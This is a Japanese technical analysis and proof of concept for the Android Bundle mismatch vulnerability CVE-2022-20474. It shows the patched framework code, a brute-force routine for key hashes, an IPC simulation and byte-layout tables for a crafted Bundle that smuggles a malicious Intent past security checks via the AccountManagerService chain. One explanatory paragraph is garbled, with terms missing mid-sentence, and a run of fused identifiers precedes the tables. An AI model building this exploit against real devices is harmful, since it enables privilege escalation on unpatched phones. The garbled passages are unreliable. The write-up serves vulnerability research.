
Android CVE-2022-20474 に関する詳細な技術分析と概念実証です。負の長さを持つ LazyValue を悪用して自己変化する Bundle 動作を実現する、Bundle 不一致の脆弱性です。
注意事項として、本記事を読む前にBundle Mismatch関連の脆弱性について基本的な理解があることを前提とします。以下の参考資料をまだ読んでいない場合は、先に読むことをお勧めします:
最近、michalbednarskiのLeakValue記事を注意深く学習しています。Canyieと議論しているときに、彼はこの記事の中でLazyValueシナリオにおけるSelf-changing Bundleのケースについても言及していると言いました。そこで私は原文を探しに行ったところ、確かにそのような一節があり、Michalの記事を読んでいたときに直接見落としていました。原文では以下のように述べられています:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michalが言及しているのはCVE-2022-20474 (bulletin, patch) だと思われます。パッチを一目見ましたが、パッチリンク内の関数は完全ではありませんでした。それを補完してから詳しく見てみましょう:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
コード中のobjectLengthはLazyValueのlengthですが、実際にはこれはLazyValueに含まれる可変オブジェクトの長さに過ぎず、LazyValue全体の長さはmLengthフィールドで制御されるべきであり、コード中ではvalueLengthがそれに相当します。これはLazyValueのコンストラクタでmLengthに値が渡されます。
LazyValueのレイアウト形式を対比してみましょう:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
上記の内容に基づいて、以下の事実を得ることができます:
mLengthはLazyValue全体の長さを表し、mLength = objectLength + 8バイト。objectLengthは0以上であるべき。LazyValueオブジェクトはmLengthのみを保存し、objectLengthは保存しません。なぜならLazyValueはメモリコピー時にオブジェクト全体をコピーするからです。LazyValueを読み取る可能性があります。そして、熟考した結果、我々はこれらの事実は全く役に立たない!と一致しました。なぜなら上記の事実に基づくと、read時に1回しか変更できず、Self-changed Bundleの核心的な考え方はread完了後に変更することでセキュリティチェックをバイパスすることであると分かっているからです。
諦めようとした矢先、パッチの説明にいくつかの詳細があることに気づきました:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLengthここで、objectLengthが-8の場合、いくつかの問題が発生すると述べられており、これが我々に追加のヒントを与えました。このときLazyValueは正常にapplyできるのでしょうか?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
実際のreadValueはmPositionから読み取りを開始し、次にLazyTypeとobjectLengthを順に読み取り、その後通常のValue読み取りフローに入ります。例えばParcelableではClassNameを読み取り、createFromParcelを実行し、読み取り完了後は通常のKey-Valueと何ら変わりなく、後続のシリアライズに影響を与えません。改めて振り返ると、Self-changed Bundleの核心はread完了後の変更であり、ここでは単なる範囲外読み取りに過ぎず、この方向性はうまくいかないようです。
では、LazyValueがこの過程でapplyされない場合はどうでしょうか?つまりLazyValueのままIPCに参加し続ける場合、そのwriteToParcel関数が呼び出されます:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
LazyValue全体がそのままコピーされますが、mLength = 0の場合を除きます。ちょっと待ってください!先ほどmLength = objectLength + 8バイトであり、パッチ情報から脆弱性を引き起こすにはobjectLengthが-8である必要があることが分かっています。つまりこのときmLength = 0が成立します。言い換えれば、このシナリオではLazyValue全体が消えてしまい、String Keyのみがコピーされるため、欠落した書き込みが発生し、Self-changed Bundleの条件が直接満たされます。
原因が分かったので、再現を開始できます。ただしその前に、さらにいくつかの詳細が必要です。
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
周知の通り、Bundleのメモリレイアウトはおおよそ以下のようになります:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGICはBundleのメモリレイアウトにおけるマジックナンバーであり、BUNDLE_MAGICまたはBUNDLE_MAGIC_NATIVEのいずれかです。両者の最も重要な違いは、BUNDLE_MAGICの場合、Key-Valueがデシリアライズ完了後に再ソートされることです。以下のコードの通りです:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
MAGICフラグは最終的にreadArrayMap内のsortedの値に影響を与え、mapのソートを引き起こします。コメントにもあるように、ソートの方法はkey Stringのハッシュ値によって行われます。
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
ArrayMapの解析フローを再度考えてみましょう。最初のラウンドの解析では、まずKey1が解析され、次にLazyValue1の解析が試みられます。しかし、LazyValue1のobjectLengthが-8であるため、parcelのポインタはLazyValue1の先頭、すなわち点aに戻ります。これが先に述べた事実4です。これで最初のKey-Mapの解析が完了します。2番目のKey-Valueは点aから解析が始まります。このとき、最初にStringの長さが読み取られます。LazyValue1にParcelableが含まれていると仮定すると、この長さは4になるはずです。したがって、実際のKey2は点aから始まることになり、つまりKey2 = LazyValue1 +です。にはデータが含まれていないため、その長さは+ の8バイトであり、全体の長さは4(長さ識別子)+ 4 * 2+ 4("\0")= 16バイトになります。の8バイトを除けば、構築時にさらに8バイト、すなわち2つのを追加する必要があります。その後、を読み取ります。したがって、最初の解析時には、が負のによるポインタの前方移動に対応するために、を使用する必要があります。このの値は気にする必要はありません。最初の解析時にのみ使用され、単なる道具だからです。使い捨ての道具なら、最初の解析完了後に重要なデータから遠く離れた場所にあってほしいものです。そしてに悪意のあるデータを詰め込むことになります。できればのハッシュ値がより大きければ、後続の解析に影響を与えません。により、のハッシュ値を調整することでこの目標を達成できます。これについてはで詳しく紹介します。次にの解析に入ります。の定石として、に悪意のあるを含むを入れますが、には追加の制限があります。最初のラウンドのデシリアライズ完了後、のレイアウトは以下のようになり、道具であるが最後に置かれます:
Key1-Value1 | Key3-Value3 | Key2-Value2
先ほど異常なobjectLengthで述べたように、LazyValue1の長さは0であるため、writeToParcelの際に全くコピーされません!実際のレイアウトは以下のようになります:
Key1 | Key3-Value3 | Key2-Value2
Key1の読み取りが完了した後、Value1を読み取る必要がありますが、ここでも範囲外読み取りが発生し、Key3がLazyValue1を読み取る重責を担わなければなりません。Key3の最初のintはStringの長さの役割とLazyValue Typeの役割の両方を兼ねる必要があるため、Key3の長さは短すぎてはいけません。短いとハッシュの計算が難しくなります。LazyValue Typeのリストを見て、私は以下を選びました:
private static final int VAL_LIST = 11; // length-prefixed
もちろん、12、16、17を選んでも構いませんが、とにかく短すぎないようにしてください。
そしてKey3の2番目のintはLazyValueのLengthの役割も果たします。これにより、LazyValue1の長さを制御し、次のポインタを悪意のあるIntentの先頭に合わせることができます。LazyValue1の内容が不正であっても問題ありません。getXXXを呼び出してapplyしなければ、それは常にLazyValueのままです。
ブルートフォーサーを書けばOKです:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
もちろん、Key2をブルートフォースして前方に調整することもできますが、Key2の長さは固定で4と短く、操作できる余地が少ないです。一方、Key3の長さは先ほどいくらか余裕を持たせたので、ブルートフォースが容易です。Key1が文字列"Cxxsheng"であると仮定し、Key3のhash値が"Cxxsheng"のhashより大きくなるように制御したいが、少しだけ大きくしたいので1000000に設定しました。これにより、それらが高い確率で常に一緒になり、第三者であるKey2が割り込めなくなります。先述の通り、stringの最初の2つのintは固定です。そこで、まずVAL_LIST(Stringの長さでもある)を書き込み、計算によって悪意のあるIntentまであと32バイトであることが分かります。残りのいくつかの0はすべてブルートフォースに使用できます。適当に2つ選んでブルートフォースすればOKです。
number1とnumber2を使用して、3番目の値をArrayMap内でソート操作できます。ArrayMapはkeyのhashcodeでソートされるため、3番目の値をデシリアライズ後に2番目にして、最初の"Cxxsheng"の直後に続くようにできます。以下の通りです:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[一段の文字化け]=[悪意のあるByteArray], [一段の文字化け]=0}]
読み取りの順序も書き込みの順序とは異なることが分かります。書き込み完了後、先ほど分析したようにLazyValue全体が失われ、3番目のKey-Valueが2番目に再ソートされ、これにはtypeとobjectLengthも含まれます。したがって、ページのレイアウトは以下のようになります:
読者は各自で古典的なAccountManagerService利用チェーンを利用できます。本稿ではその利用可能性については詳しく述べません。それは、2022年11月のパッチにcheckKeyIntentParceledCorrectly関数が含まれているかどうかに依存するからです。ここで補足説明すると、この関数は模擬IPC呼び出しフローを利用して、AccountManagerService利用チェーンを阻止します。したがって、Android 12または13でMismatchが存在しても、必ずしも利用が成功するとは限らず、この関数をバイパスする方法を探す必要があります。
この関数を模倣して、IPC呼び出しフローをシミュレートすることができます。以下の通りです:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); //デバッグ時にはここでparcelデータを確認できます
// marshallはParcelポインタを変更しません
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
そして、模擬IPC呼び出しフローによるログ出力図を鑑賞してください。詳細は私のGithubコードを参照してください:

FakeKey2LazyValue1LazyTypeobjectLengthstringLazyValue1writeIntValue2objectLengthLazyValue1Key2-Value2Key2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3IntentByteArrayKey3ArrayMapKey2-Value2| 値 | 説明 |
|---|
| "Cxxsheng" | 最初のキー |
| 4 | 2ラウンド読み取られる:最初のラウンドはVAL_PARCELABLE、2番目のラウンドは2番目のキーのString Length |
| -8 | 2ラウンド読み取られる:最初のラウンドはLazyValueのobjectLength、読み取りポインタの前方移動を引き起こし、2ラウンドの読み取りを引き起こす、2番目のラウンドは2番目のキーのString Value |
| 0 | 2番目のキーのString Value |
| 0 | 2番目のキーのString Value |
| 1 | VAL_INTEGER |
| 0 | 2番目のValue |
| 11 | 3番目のキーのString Length |
| 32 | 3番目のキーのString Value |
| 0 | 3番目のキーのString Value |
| 0 | 3番目のキーのString Value |
| number1 | 3番目のキーのString Value。これらの2つの値はソート調整に使用 |
| number2 | 3番目のキーのString Value。これらの2つの値はソート調整に使用 |
| 0 | 3番目のキーのString Value |
| 13 | VAL_BYTEARRAY |
| LazyValueの長さ | 計算により求められる |
| ByteArrayの長さ | 計算により求められる |
| ByteArray | 悪意のあるKey-Value、すなわちIntent.EXTRA_INTENTとそのIntentを含む |
| 値 | 説明 |
|---|
| "Cxxsheng" | 最初のキー |
| 11 | VAL_LIST |
| 32 | 最初のValueの長さ。以降の内容が正当かどうかはもはや重要ではない(このLazyValueはapplyされないため)、これは直接ByteArray内の悪意のあるIntentの前を指す |
| 0 | LazyValue内の値 |
| 0 | LazyValue内の値 |
| number1 | LazyValue内の値 |
| number2 | LazyValue内の値 |
| 0 | LazyValue内の値 |
| 13 | LazyValue内の値 |
| LazyValueの長さ | LazyValue内の値 |
| ByteArrayの長さ | LazyValue内の値 |
ByteArray開始/Intent.EXTRA_INTENT | 2番目のキー |
| Intent | 2番目のValue |
| 3番目のKey-Value | 最後に配置される |